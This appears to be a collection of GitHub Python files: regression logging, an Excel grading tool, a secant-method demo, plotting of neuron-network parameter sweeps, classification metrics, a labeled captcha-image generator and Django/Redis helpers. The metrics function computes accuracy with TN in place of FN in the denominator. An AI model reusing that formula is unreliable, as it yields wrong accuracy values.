list(args.cl_exclexogs.split(','))\n endogen_col_name = args.cl_endog\n dt_col_name =args.cl_timestamp\n wwidth=args.cl_wwidth\n alfa=float(args.cl_alfa)\n\n #sort exogenius list\n for item in exclexogen_list:\n exogen_list.remove(item)\n if mode == 'kcc2':\n exogen_list.append(item)\n k=len(ds_list) # number of samples\n output_numbers=1\n dir_path = os.path.dirname(os.path.realpath(__file__))\n folder_for_logging = Path(dir_path) / \"Logs\" / \"{}_{}_{}\".format(\"KL_div\",endogen_col_name, date_time)\n\n listLogSet(str(folder_for_logging)) # A logs are creating\n msg2log(None, message0, D_LOGS[\"clargs\"])\n msg2log(None, message1, D_LOGS[\"timeexec\"])\n fm=D_LOGS[\"main\"]\n\n message=f\"\"\"\nMode : {mode_name}\nRepository path : {dsRepository}\nDatasets : {ds_list}\nEndogenious factor in datasets: {endogen_col_name}\nExogenious factors in datasets: {exogen_list}\nExcluded Exogenious factors : {exclexogen_list}\nTimestamp in dataset : {dt_col_name}\nWindow width for Endogenous \nplotting : {wwidth}\nNumber of samples : {k}\nNumber of outputs in the linear \nregression model : {output_numbers}\nNumber of input factors in the \nlinear regression model : {len(exogen_list)}\nSignificant level : {round(alfa*100,0)} % \nLog folder : {folder_for_logging} \n\"\"\"\n\n msg2log(None,message,fm)\n\n f=None\n # DSrepository=\"/home/dmitryv/LaLaguna/stgelpDL/dataLaLaguna\"\n # lDSets = [\"low_co2\",\"mid_co2\",\"high_co2\"]\n lstX=[]\n lstY=[]\n msg = \"\\n\\n{:<20s} {:<20s} {:<20s}\".format(\"Dataset\",\"Output mean\", \"Input factors means\")\n msg2log(None,msg,fm)\n for item in ds_list:\n csv_file=Path(Path(dsRepository)/Path( item.strip())).with_suffix(\".csv\")\n y,X = readData(title=item, csv_file=csv_file)\n lstX.append(X)\n lstY.append(y)\n msg=\"{:<20s} {:<20.6f} {}\".format(str(item),round(y.mean(),4), np.round(X.mean(),3))\n msg2log(None,msg,fm)\n if GlobalConst.getVerbose()>1:\n logMatrix(joinYX(y, X),title=item,f=D_LOGS[\"control\"])\n msg2log(None, \"\\n\\n\", f=D_LOGS[\"control\"])\n\n status, (k, lstN, p, N) = checkInputDataValid(lstX=lstX, lstY=lstY, f=D_LOGS[\"control\"])\n if status != 0:\n print(\"exit due invalid input data\")\n sys.exit(-1)\n\n print(k,lstN,p,N)\n kldiv = kldivEst(title=None,k=k,p=p,n=N,endogenous=endogen_col_name,exogenous=exogen_list,categories=ds_list,\n exclexogenous=None,f=D_LOGS[\"main\"])\n\n history=kldiv.fit(lstX=lstX,lstY=lstY)\n kldiv.res2log()\n msg2log(None,\"\\n\\nANOVA\\n\",f=D_LOGS[\"train\"])\n msg = dictIterate(ddict=kldiv.d_ANOVA)\n msg2log(None, msg, f=D_LOGS[\"train\"])\n msg2log(None, \"\\n\\nTrain Model History\\n\", f=D_LOGS[\"train\"])\n msg= dictIterate(ddict=history.history)\n msg2log(None, msg, f=D_LOGS[\"train\"])\n message = \"Time execution logging stoped at {}\\n\\n\".format(datetime.now().strftime(\"%d %m %y %H:%M:%S\"))\n msg2log(None, message, D_LOGS[\"timeexec\"])\n closeLogs() # The logs are closing\n\n return\n\n\nif __name__==\"__main__\":\n # X=np.ones((3,4,2),dtype=float)\n # (k,n,p)=X.shape\n # csv_file =\"/home/dmitryv/LaLaguna/stgelpDL/dataLaLaguna/low_co2.csv\"\n # y_low, X_low = readData(title=\"low\", csv_file=csv_file)\n # csv_file = \"/home/dmitryv/LaLaguna/stgelpDL/dataLaLaguna/mid_co2.csv\"\n # y_mid, X_mid = readData(title=\"mid\", csv_file=csv_file)\n # csv_file = \"/home/dmitryv/LaLaguna/stgelpDL/dataLaLaguna/high_co2.csv\"\n # y_high, X_high = readData(title=\"high\", csv_file=csv_file)\n # lstX =[X_low,X_mid,X_high]\n # lstY=[y_low,y_mid,y_high]\n #\n # k=len(lstY)\n # (N,p)=X_low.shape\n # S,XtY,SH2,XtYH2,N = sxty( title=\"test\", lstX=lstX, lstY=lstY, f= None)\n # print(S)\n # print(SH2)\n # SinvH2 = invs(S=SH2, f=None)\n # Sinv = invs( S=S, f = None)\n # pass\n # print (SinvH2)\n # print(Sinv)\n # E=np.zeros((1,p,p),dtype=float)\n # E=SinvH2[0,:,:].dot(SH2[0,:,:])\n # print(E)\n # bH2=np.zeros((1,p),dtype=float)\n # b=np.zeros((k,p),dtype=float)\n # bH2 = estb( Sinv=SinvH2, XtY=XtYH2)\n # b = estb(Sinv=Sinv, XtY=XtY)\n #\n # print(np.round(bH2,5))\n # print(np.round(b,5))\n # d_anova,f,df1,df2 = anova( n=N, S=S, b=b, SH2=SH2, bH2=bH2, lstY=lstY,f = None)\n # print(d_anova)\n # msg = dictIterate(ddict=d_anova, max_width = 120, curr_width = 0)\n # msg2log(None,msg,f=None)\n # print(f,df1,df2)\n main(len(sys.argv),sys.argv)\n pass\n","repo_name":"dmitryv56/stgelpDL","sub_path":"stgelpDL/simpleRegr/iclrpar.py","file_name":"iclrpar.py","file_ext":"py","file_size_in_byte":21272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"6805156546","text":"from openpyxl import load_workbook\nfrom tkinter import * \nfrom collections import defaultdict\nimport pickle \nimport glob\n\n#Dictionary containing all our data\ndicc = {}\n#Dictionary containing our Tkinter objects\nlabeldicc = {}\n#Dictionary containing our stringvar objects \nstringvardicc = {}\n\nlistofexcelfiles = glob.glob(\"*.xlsx\")\n\n\nfor file in listofexcelfiles:\n wb2 = load_workbook(file, read_only = True, data_only=True)\n wb1 = load_workbook(file, read_only = True)\n listofsheetnames = wb2.get_sheet_names()\n print(len(listofsheetnames), \" are the sheet names\")\n\nfor index,name in enumerate(listofsheetnames):\n print (index, \" \", name)\n\ndicc[\"listofsheetnames\"] = listofsheetnames\n\nprint(\"Next Step\")\n\n\n#We define the cells we want to grade for each sheet. \ndef listofcells():\n fenetre = Tk()\n currentrow = 0\n for index,name in enumerate(dicc[\"listofsheetnames\"]):\n stringvardicc[index,\"listofcells\"] = StringVar()\n stringvardicc[index,\"listofcells\"].set(\"\")\n labeldicc[index,\"listofcells\",\"displaytext\"] = Label(fenetre, text=\"This is the sheet number \" +(str(index+1))).grid(row=currentrow, column=0)\n labeldicc[index,\"listofcells\"] = Entry(fenetre, text=stringvardicc[index,\"listofcells\"]).grid(row=currentrow+1, column=0)\n currentrow = currentrow + 2\n\n def on_closing():\n saveCells()\n saveUnique()\n fenetre.destroy() \n \n\n def saveCells():\n for index,name in enumerate(dicc[\"listofsheetnames\"]):\n dicc[index,\"listofcells\"] = stringvardicc[index,\"listofcells\"].get()\n for file in listofexcelfiles:\n wb2 = load_workbook(file, read_only = True, data_only=True)\n wb1 = load_workbook(file, read_only = True)\n a = wb2.get_sheet_names()\n #We only deal with the first sheet here\n b = wb2[ a[index] ]\n b1 = wb1[ a[index] ]\n\n for cell in dicc[index,\"listofcells\"].split(','):\n cell = cell.strip()\n print(cell,index,\" \",file, \"TRACKING\")\n try :\n dicc[index,file,cell,\"value\"] = b1[cell].value\n dicc[index,file,cell,\"formula\"] = b[cell].value\n except :\n dicc[index,file,cell,\"value\"] = \"\"\n dicc[index,file,cell,\"formula\"] = \"\"\n pickle.dump( dicc, open( \"dicc.p\", \"wb\" ))\n\n\n def saveUnique():\n unique = {}\n unique[\"listofsheetnames\"] = dicc[\"listofsheetnames\"]\n for index,name in enumerate(dicc[\"listofsheetnames\"]):\n for cell in dicc[index,\"listofcells\"].split(','):\n cell = cell.strip()\n unique[index,cell] = []\n unique[index,\"listofcells\"] = dicc[index,\"listofcells\"] \n for index,name in enumerate(dicc[\"listofsheetnames\"]): \n for file in listofexcelfiles:\n for cell in dicc[index,\"listofcells\"].split(','):\n cell = cell.strip()\n if (dicc[index,file,cell,\"value\"],dicc[index,file,cell,\"formula\"]) not in unique[index,cell]:\n unique[index,cell].append((dicc[index,file,cell,\"value\"],dicc[index,file,cell,\"formula\"]))\n pickle.dump( unique, open( \"unique.p\", \"wb\" ))\n\n #Window configuration\n fenetre.configure(background='white') \n fenetre.protocol(\"WM_DELETE_WINDOW\", on_closing)\n w, h = fenetre.winfo_screenwidth(), fenetre.winfo_screenheight()\n fenetre.geometry(\"%dx%d+0+0\" % (w, h))\n fenetre.mainloop()\n\nlistofcells()","repo_name":"pythonscraping/grader","sub_path":"new/firstStep.py","file_name":"firstStep.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"72601507846","text":"from numpy import * \nfrom matplotlib.pyplot import *\n\ndef f(x):\n\treturn sin(x)\n\n#notice that pi/2 will not give an answer, why? \n#notice that our answer is 4 pi, while the closest zero is at pi, why?\n#how can we get pi? HINT: better starting point, aka closer to the zero point\n\nx_start = pi/2\nx_start2 = 3.5*pi/2\nx_n = x_start\nx_n1 = x_start2\n\n#variables for while loop\nn = 100; i = 0; exact = pi; tol = 1e-15\n\nsteps = []\ny_steps = []\n#important part for exam\nwhile i < n and abs(x_n%exact) > tol:\n\tx_term = x_n1 - ((x_n1-x_n)/(f(x_n1)-f(x_n)))*f(x_n1)\n\n\t#change the one with the same sign -+\n\tif f(x_term) < 0:\n\t\tx_n1 = x_term\n\telif f(x_term) > 0:\n\t\tx_n = x_term\n\ti +=1\n\tsteps.append(x_term)\n\ty_steps.append(f(x_term))\n\tprint(\"%-4d %-7.2f %.2f\" % (i,x_n1,abs(x_n-pi)))\n\n\nx_list = linspace(0,2*pi,1000)\nax = subplot(111)\nfor axis in ['top','bottom','left','right']:\n\tax.spines[axis].set_linewidth(1.5)\nplot([x_start,x_start2],[f(x_start),f(x_start2)],\"o\",label=\"Start\")\n#showing the first step visually\nplot([x_start,x_start2],[f(x_start),f(x_start2)],\"--\",color=\"orange\")\nplot([steps[0],steps[0]],[0,f(steps[0])],\"--\",color=\"orange\")\nplot([0,2*pi],[0,0],\"--\",color=\"orange\",label=\"First step\")\nplot([steps[0]],[0],\"*\",color=\"red\")\n#exact solution\nplot(x_list,f(x_list),\"g--\",label=\"exact function\")\n#all the steps\nplot(steps,y_steps,\"ro\",label=\"steps\")\n#final step\nplot(x_n1,0,\"go\",label=\"Final point\")\ntick_params(labelsize=20, direction='in',top=True,right=True,left=True,bottom=True,length=5)\nlegend(loc=\"best\",fontsize=15)\nyticks(fontsize=20)\nxticks(fontsize=20)\ntight_layout()\nshow()\n\nax = subplot(111)\nfor axis in ['top','bottom','left','right']:\n\tax.spines[axis].set_linewidth(1.5)\n\n\n\n\n#step by step\nx_start = pi/2\nx_start2 = 3.5*pi/2\nx_n = x_start\nx_n1 = x_start2\n\n#variables for while loop\nn = 100; i = 0; exact = pi; tol = 1e-15\n\nsteps = []\ny_steps = []\n\n#visualizing step by step\nwhile i < n and abs(x_n%exact) > tol:\n\tx_term = x_n1 - ((x_n1-x_n)/(f(x_n1)-f(x_n)))*f(x_n1)\n\tplot([x_n,x_n1],[f(x_n),f(x_n1)],\"go\")\n\tplot([x_n,x_n1],[f(x_n),f(x_n1)],\"--\",color=\"orange\")\n\tplot([x_term,x_term],[0,f(x_term)],\"--\",color=\"orange\")\n\tplot([x_term],[0],\"*\",color=\"red\")\n\tplot([x_term],[f(x_term)],\"bo\")\n\t#exact solution\n\txlim(0.99*x_n,x_n1*1.01)\n\tplot(x_list,f(x_list),\"g--\",label=\"exact function\")\n\ttick_params(labelsize=20, direction='in',top=True,right=True,left=True,bottom=True,length=5)\n\tlegend(loc=\"best\",fontsize=15)\n\tyticks(fontsize=20)\n\txticks(fontsize=20)\n\ttight_layout()\n\t#change the one with the same sign -+\n\tif f(x_term) < 0:\n\t\tx_n1 = x_term\n\telif f(x_term) > 0:\n\t\tx_n = x_term\n\ti +=1\n\tshow()","repo_name":"erikfsk/matin1105","sub_path":"numeriske metoder/secant.py","file_name":"secant.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"71906510404","text":"# import pickle\n# import numpy as np\n# from matplotlib import pyplot as plt\n# import matplotlib.colors as mcolors\n# from matplotlib.colors import LinearSegmentedColormap, ListedColormap\n\n# cores = list(mcolors.TABLEAU_COLORS.keys())\n# cores = [cor.split(':')[-1] for cor in cores]\n\n# def plot_params():\n# # plt.rc('text', usetex=True)\n# plt.rc('font', size=13)\n# plt.rc('xtick', labelsize=11)\n# plt.rc('ytick', labelsize=11)\n# plt.rc('axes', labelsize=14)\n# plt.rc('legend', fontsize=8)\n# plt.rc('lines', linewidth=1.0)\n# plt.rcParams[\"axes.formatter.limits\"] = (-3, 4)\n# # plt.rc('font', **{'family': 'serif', 'serif': ['Computer Modern']})\n# plt.rcParams['pcolor.shading'] = 'nearest'\n# plot_params()\n\n# v = 7\n# with open(f'../data/data_read_batches_v{v}_sample5s.pkl', 'rb') as f:\n# data_space_param = pickle.load(f)\n\n# gex = data_space_param['gex']\n# amp = data_space_param['amp']\n# r = data_space_param['r']\n# neighbours = data_space_param['neighbours']\n# mean_LOP = data_space_param['mean_LOP']\n# mean_GOP = data_space_param['mean_GOP']\n# mean_cv = data_space_param['mean_cv']\n# mean_freq = data_space_param['mean_freq']\n# thresholds = data_space_param['thresholds']\n# Coerentes80 = data_space_param['Coerentes80']\n# Coerentes90 = data_space_param['Coerentes90']\n\n# mean_LOP_arr = np.array(np.array_split(data_space_param['mean_LOP'], 30))\n# mean_GOP_arr = np.array(np.array_split(data_space_param['mean_GOP'], 30))\n# mean_cv_arr = np.array(np.array_split(data_space_param['mean_cv'], 30))\n# mean_freq_arr = np.array(np.array_split(data_space_param['mean_freq'], 30))\n# Coerentes80_arr = np.array(np.array_split(data_space_param['Coerentes80'], 30))\n# Coerentes90_arr = np.array(np.array_split(data_space_param['Coerentes90'], 30))\n\n# # axis\n# axis_gex = np.array(list(set(gex)))#.astype(int)\n# axis_neighbours = np.array(list(set(neighbours)))#.astype(float)\n# axis_gex.sort()\n# axis_neighbours.sort()\n\n\n# print(mean_LOP_arr.shape)\n\n# fig, ax = plt.subplots(ncols=3, nrows=2, figsize=(13,7.5))\n# fig.set_tight_layout(20)\n# fig.suptitle('Rede de 512 neurônios, corrente injetada 170pA, transiente 24s, amostra 1s.')\n\n# tg, ig = np.meshgrid(axis_neighbours, axis_gex)\n\n# ax[0][0].set_title('$\\overline{GOP(t)}$')\n# hm00 = ax[0][0].pcolor(ig, tg, mean_GOP_arr, cmap='gnuplot', vmin=0, vmax=1)\n# cbar00 = fig.colorbar(hm00, ax=ax[0][0])#, cax=cax1, format=formater)\n# cbar00.set_label(r'$\\overline{GOP}$')\n\n# ax[0][1].set_title('$\\overline{\\overline{LOP}(t)}$')\n# hm01 = ax[0][1].pcolor(ig, tg, mean_LOP_arr, cmap='gnuplot', vmin=0, vmax=1)\n# cbar01 = fig.colorbar(hm01, ax=ax[0][1])#, cax=cax1, format=formater)\n# cbar01.set_label(r'$\\overline{LOP(t)}$')\n\n# ax[0][2].set_title('$\\overline{Fr}$')\n# hm03 = ax[0][2].pcolor(ig, tg, mean_freq_arr, cmap='gnuplot')\n# cbar03 = fig.colorbar(hm03, ax=ax[0][2])#, cax=cax1, format=formater)\n# cbar03.set_label(r'Fr (Hz)')\n\n# hm12 = ax[1][0].pcolor(ig, tg, Coerentes80_arr, cmap='gnuplot')\n# cbar12 = fig.colorbar(hm12, ax=ax[1][0])#, cax=cax1, format=formater)\n# cbar12.set_label(r'Quantidade Elementos')\n# ax[1][0].set_title('nº elementos $lop < 0.80$', fontsize=11)\n\n\n# hm13 = ax[1][1].pcolor(ig, tg, Coerentes90_arr, cmap='gnuplot')\n# cbar13 = fig.colorbar(hm13, ax=ax[1][1])#, cax=cax1, format=formater)\n# cbar13.set_label(r'Quantidade Elementos')\n# ax[1][1].set_title('nº elementos $lop < 0.90$', fontsize=11)\n\n# ax[1][2].set_title('$\\overline{CV}$')\n# hm02 = ax[1][2].pcolor(ig, tg, mean_cv_arr, cmap='gnuplot', vmin=0, vmax=1)\n# cbar02 = fig.colorbar(hm02, ax=ax[1][2])#, cax=cax1, format=formater)\n# cbar02.set_label(r'$CV$')\n\n\n# ax[0][0].set_ylabel('Nº Conexões')\n# ax[1][0].set_ylabel('Nº Conexões')\n# ax[1][0].set_xlabel('$g_{ex}$')\n# ax[1][1].set_xlabel('$g_{ex}$')\n# ax[1][2].set_xlabel('$g_{ex}$')\n\n# plt.savefig('../figures/'+f'SpaceParam_V{v}_5s.png', dpi=600, bbox_inches='tight', format='png')\n# plt.show()\n\nimport pickle\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.colors as mcolors\nimport matplotlib.ticker as plticker\nfrom matplotlib.colors import LinearSegmentedColormap, ListedColormap\nimport locale\nimport latex\nlocale.setlocale(locale.LC_ALL, 'pt_BR.UTF-8') \n\ncores = list(mcolors.TABLEAU_COLORS.keys())\ncores = [cor.split(':')[-1] for cor in cores]\n\ndef plot_params():\n plt.rc('text', usetex=True)\n plt.rc('font', size=13)\n plt.rc('xtick', labelsize=11)\n plt.rc('ytick', labelsize=11)\n plt.rc('axes', labelsize=14)\n plt.rc('legend', fontsize=8)\n plt.rc('lines', linewidth=1.0)\n plt.rcParams[\"axes.formatter.limits\"] = (-3, 4)\n plt.rcParams['axes.formatter.use_locale'] = True\n # plt.rc('font', **{'family': 'serif', 'serif': ['Computer Modern']})\n plt.rcParams['pcolor.shading'] = 'nearest'\nplot_params()\n\n\n\nv = 1\nfile = f'space_param_v{v}_batch1'\nresol = 32\nwith open(f'../results_spaceparams/{file}.pkl', 'rb') as f:\n data_space_param = pickle.load(f)\n\n# cellNumber = data_space_param['infosNetWork']['cellNumber']\n# amp = data_space_param['infosNetWork']['amp']\n# neuronsPerCore = data_space_param['infosNetWork']['neuronsPerCore']\n# coresPerNode = data_space_param['infosNetWork']['coresPerNode']\n\ngex = data_space_param['gex']\nneighbours = data_space_param['neighbours']\namp = data_space_param['amp']\nmean_LOP = data_space_param['mean_LOP']\nmean_GOP = data_space_param['mean_GOP']\nmean_cv = data_space_param['mean_cv']\nmean_freq = data_space_param['mean_freq']\n\nmean_LOP_arr = np.array(np.array_split(data_space_param['mean_LOP'], resol))\nmean_GOP_arr = np.array(np.array_split(data_space_param['mean_GOP'], resol))\nmean_cv_arr = np.array(np.array_split(data_space_param['mean_cv'],resol))\nmean_freq_arr = np.array(np.array_split(data_space_param['mean_freq'], resol))\n\n# axis\naxis_gex = np.array(list(set(gex)))#.astype(int)\naxis_amp = np.array(list(set(amp)))\naxis_neighbours = np.array(list(set(neighbours)))#.astype(float)\naxis_gex.sort()\naxis_amp.sort()\naxis_neighbours.sort()\n\n\nprint(mean_LOP_arr.shape)\n\nfig, ax = plt.subplots(ncols=2, nrows=2, figsize=(8,6))\nfig.set_tight_layout(20)\n# fig.suptitle('Rede de 256 neurônios, transiente 24s, amostra 1s,\\n $g_{ex} = 250 \\\\mu S/cm²$')\n\ntg, ig = np.meshgrid(axis_neighbours[1:]/256, axis_gex[1:])\n# tg, ig = np.meshgrid(axis_amp[1:]*1000, axis_gex[1:])\n\n# ax[0][0].set_title('$\\overline{GOP(t)}$')\nax[0][0].set_title('(A)', loc='left',pad=10)\nhm00 = ax[0][0].pcolor(ig, tg, mean_GOP_arr, cmap='gnuplot')\ncbar00 = fig.colorbar(hm00, ax=ax[0][0])#, cax=cax1, format=formater)\ncbar00.set_label(r'$\\overline{GOP}$')\n\n# ax[0][1].set_title('$\\overline{\\overline{LOP}(t)}$')\nax[0][1].set_title('(B)', loc='left',pad=10)\nhm01 = ax[0][1].pcolor(ig, tg, mean_LOP_arr, cmap='gnuplot')\ncbar01 = fig.colorbar(hm01, ax=ax[0][1])#, cax=cax1, format=formater)\ncbar01.set_label(r'$\\overline{LOP(t)}$')\n\n# ax[1][0].set_title('$\\overline{Fr}$')\nax[1][0].set_title('(C)', loc='left',pad=10)\nhm03 = ax[1][0].pcolor(ig, tg, mean_freq_arr, cmap='gnuplot')\ncbar03 = fig.colorbar(hm03, ax=ax[1][0])#, cax=cax1, format=formater)\ncbar03.set_label(r'Fr (Hz)')\n\n# ax[1][1].set_title('$\\overline{CV}$')\nax[1][1].set_title('(D)',loc='left',pad=10)\nhm02 = ax[1][1].pcolor(ig, tg, mean_cv_arr, cmap='gnuplot')\ncbar02 = fig.colorbar(hm02, ax=ax[1][1])#, cax=cax1, format=formater)\ncbar02.set_label(r'$CV$')\n\nstep_y = plticker.MultipleLocator(base=0.05) # this locator puts ticks at regular intervals\nstep_x = plticker.MultipleLocator(base=0.5e-4)\nfor linha in ax:\n for coluna in linha:\n coluna.yaxis.set_major_locator(step_y)\n coluna.xaxis.set_major_locator(step_x)\n coluna.set_ylim(None,0.36)\n coluna.set_xlim(None,4.e-4)\n\n# ax[0][0].set_ylabel('$I_{ext}$ ($pA$)')\n# ax[1][0].set_ylabel('$I_{ext}$ ($pA$)')\n\nax[0][0].set_ylabel('$r$')\nax[1][0].set_ylabel('$r$')\nax[1][0].set_xlabel('$g_{ex}$ ($mS/cm²$)')\nax[1][1].set_xlabel('$g_{ex}$ ($mS/cm²$)')\n\nplt.savefig(f'{file}.png', dpi=600, bbox_inches='tight', format='png')\nplt.show()","repo_name":"ConradBitt/hh_ring","sub_path":"pycodes/plotSpace.py","file_name":"plotSpace.py","file_ext":"py","file_size_in_byte":7984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"31762239529","text":"import numpy as np\n\n\n# y_true = np.array([[0, 1, 0, 0, 1, 0],[1, 1, 0, 0, 1, 1]])\n# y_pred = np.array([[1, 1, 1, 0, 0, 1],[1, 1, 1, 0, 0, 1]])\ndef conf(y_true, y_pred):\n # true positive\n TP = np.sum(np.logical_and(np.equal(y_true, 1), np.equal(y_pred, 1)))\n\n # false positive\n FP = np.sum(np.logical_and(np.equal(y_true, 0), np.equal(y_pred, 1)))\n\n # false negative\n FN = np.sum(np.logical_and(np.equal(y_true, 1), np.equal(y_pred, 0)))\n\n # true negative\n TN = np.sum(np.logical_and(np.equal(y_true, 0), np.equal(y_pred, 0)))\n\n recall = TP / (TP + FN)\n FPR = FP / (FP + TN)\n FNP = FN / (TP + FN)\n precision = TP / (TP + FP)\n F1 = (2 * (recall * precision)) / (recall + precision)\n\n acc = (TP + TN) / (TP + TN + FP + TN)\n IoU = TP / (TP + FP + FN)\n mIoU = np.nanmean(IoU)\n return recall, precision, F1, FPR, FNP, TP, FP, FN, TN, acc, IoU, mIoU\n\n\n\"\"\"recall,precision,F1,FPR,FNP=conf(y_true, y_pred)\nprint(recall)\nprint(precision)\nprint(F1)\nprint(FPR)\nprint(FNP)\"\"\"\n","repo_name":"SteveStars/SE-Unet","sub_path":"General/metri3.py","file_name":"metri3.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29478956723","text":"import random\nimport string\nfrom PIL import Image, ImageDraw, ImageFont, ImageFilter\nimport pandas as pd\npicname=[]\npicTab=[]\ndef random_color():\n a = []\n for i in range(3):\n b = random.randint(0, 255)\n a.append(b)\n return tuple(a)\nclass create_captcha:\n def __init__(self):\n # 字体路径\n self.font_path = './font/DejaVuSans.ttf'\n # 生成验证码位数\n self.text_num = 4\n # 生成图片尺寸\n self.pic_size = (120, 40)\n # 背景颜色,默认为白色\n self.bg_color = random_color()\n # 字体颜色,默认为蓝色\n self.text_color = random_color()\n # 干扰线颜色,默认为红色\n self.line_color = (255, 0, 0)\n # 是否加入干扰线\n self.draw_line = True\n # 加入干扰线条数上下限\n self.line_number = (1, 5)\n # 是否加入干扰点\n self.draw_points = True\n # 干扰点出现的概率(%)\n self.point_chance = 2\n\n self.image = Image.new('RGB', (self.pic_size[0], self.pic_size[1]), self.bg_color)\n self.font = ImageFont.truetype(self.font_path, 25)\n self.draw = ImageDraw.Draw(self.image)\n self.text = self.gene_text()\n\n def gene_text(self):\n # 随机生成一个字符串\n source = list(string.ascii_letters)\n for i in range(0, 10):\n source.append(str(i))\n return ''.join(random.sample(source, self.text_num))\n\n def gene_line(self):\n # 随机生成干扰线\n begin = (random.randint(0, self.pic_size[0]), random.randint(0, self.pic_size[1]))\n end = (random.randint(0, self.pic_size[0]), random.randint(0, self.pic_size[1]))\n self.draw.line([begin, end], fill=self.line_color)\n\n def gene_points(self):\n # 随机绘制干扰点\n for w in range(self.pic_size[0]):\n for h in range(self.pic_size[1]):\n tmp = random.randint(0, 100)\n if tmp > 100 - self.point_chance:\n self.draw.point((w, h), fill=(0, 0, 0))\n\n def gene_code(self):\n # 生成验证码图片\n font_width, font_height = self.font.getsize(self.text)\n self.draw.text(\n ((self.pic_size[0] - font_width) / self.text_num, (self.pic_size[1] - font_height) / self.text_num), self.text,\n font=self.font,\n fill=self.text_color)\n if self.draw_line:\n n = random.randint(self.line_number[0],self.line_number[1])\n print(n)\n for i in range(n):\n self.gene_line()\n if self.draw_points:\n self.gene_points()\n params = [1 - float(random.randint(1, 2)) / 100,\n 0,\n 0,\n 0,\n 1 - float(random.randint(1, 10)) / 100,\n float(random.randint(1, 2)) / 500,\n 0.001,\n float(random.randint(1, 2)) / 500\n ]\n self.image = self.image.transform((self.pic_size[0], self.pic_size[1]), Image.PERSPECTIVE, params) # 创建扭曲\n self.image = self.image.filter(ImageFilter.EDGE_ENHANCE_MORE) # 滤镜,边界加强\n return self.image\n\n\nif __name__ == \"__main__\":\n for i in range(5000):\n x = create_captcha()\n image = x.gene_code()\n image.save('./train/'+str(5001+i)+'.jpg')\n picname.append(str(5001+i)+'.jpg')\n picTab.append(x.text)\n print(x.text)\n # 最后将图片名字和标注写入csv文件\n # 字典中的key值即为csv中列名\n dataframe = pd.DataFrame({'ID': picname, 'label': picTab})\n\n # 将DataFrame存储为csv,index表示是否显示行名,default=True\n dataframe.to_csv(\"./train_label.csv\", index=False, sep=',', mode='a')\n print(image)\n image.show()\n print(x.text)","repo_name":"sjjdd/captche_shibie","sub_path":"captcha_gen2.0.py","file_name":"captcha_gen2.0.py","file_ext":"py","file_size_in_byte":3850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"18932454001","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport logging\nimport logging.handlers\nfrom osrm.settings import *\nimport redis\nimport sys\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.core.paginator import Paginator, EmptyPage, InvalidPage\nfrom django.http import HttpResponse, Http404,HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\n\n\nlogger = logging.getLogger('server')\n\ndef set_log(level, filename='server.log'):\n \"\"\"\n @日志函数 根据提示设置log打印,返回日志对象\n \"\"\"\n log_file = os.path.join(LOG_DIR, filename)\n if not os.path.exists(LOG_DIR):\n os.mkdir(LOG_DIR)\n log_level_total = {'debug': logging.DEBUG, 'info': logging.INFO, 'warning': logging.WARN, 'error': logging.ERROR,\n 'critical': logging.CRITICAL}\n logger_f = logging.getLogger('server')\n logger_f.setLevel(logging.DEBUG)\n fh = logging.handlers.RotatingFileHandler(log_file, maxBytes = 1024*1024*100, backupCount = 5)\n fh.setLevel(log_level_total.get(level, logging.DEBUG))\n formatter = logging.Formatter('%(asctime)s - %(threadName)s- %(filename)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n logger_f.addHandler(fh)\n return logger_f\n\n\nclass RedisHelper(object):\n \n def __init__(self):\n self.__conn = redis.Redis(host=REDIS_HOST,port=int(REDIS_PORT),password=REDIS_PASSWD,socket_timeout=3)\n self.chan_sub = 'fm104.5'\n self.chan_pub = 'fm87.7'\n def get(self,key):\n return self.__conn.get(key)\n \n def set(self,key,value):\n self.__conn.set(key, value)\n \n def Keydel(self,key):\n a=self.__conn.delete(key)\n return a\n \n def exists(self,key):\n a=self.__conn.exists(key)\n return a\n \n def public(self,msg):\n self.__conn.publish(self.chan_pub, msg) \n return True \n def subscribe(self):\n pub = self.__conn.pubsub()\n pub.subscribe(self.chan_pub)\n pub.parse_response()\n return pub\n def flush_all(self):\n self.__conn.flushdb()\n \n \n \ndef get_object(model, **kwargs):\n \"\"\"\n \n @数据库查询封装函数 返回查询结果对象\n \"\"\"\n for value in kwargs.values():\n if not value:\n return None\n\n the_object = model.objects.filter(**kwargs)\n if len(the_object) == 1:\n the_object = the_object[0]\n else:\n the_object = None\n return the_object\n\n\ndef get_update_object(model, **kwargs):\n \"\"\"\n \n @数据库查询封装函数 返回查询结果对象\n \"\"\"\n for value in kwargs.values():\n if not value:\n return None\n\n the_object = model.objects.filter(**kwargs)\n if len(the_object) == 1:\n the_object = the_object\n else:\n the_object = None\n return the_object\n\ndef get_any_object(model, **kwargs):\n \"\"\"\n \n @数据库查询封装函数 返回查询结果对象\n \"\"\"\n for value in kwargs.values():\n if not value:\n return None\n\n the_object = model.objects.filter(**kwargs)\n if len(the_object) >= 1:\n the_object = the_object\n else:\n the_object = None\n return the_object\n\ndef get_cur_info():\n '''\n @调试函数 返回当前函数所在文件名,函数行及行号\n '''\n try:\n raise Exception\n except:\n f = sys.exc_info()[2].tb_frame.f_back\n return (f.f_code.co_filename,f.f_code.co_name, f.f_lineno)\n\ndef page_list_return(total, current=1):\n \"\"\"\n page\n 分页,返回本次分页的最小页数到最大页数列表\n \"\"\"\n min_page = current - 2 if current - 4 > 0 else 1\n max_page = min_page + 4 if min_page + 4 < total else total\n\n return range(min_page, max_page + 1)\n\n\ndef pages(post_objects, request):\n \"\"\"\n page public function , return page's object tuple\n 分页公用函数,返回分页的对象元组\n \"\"\"\n paginator = Paginator(post_objects, 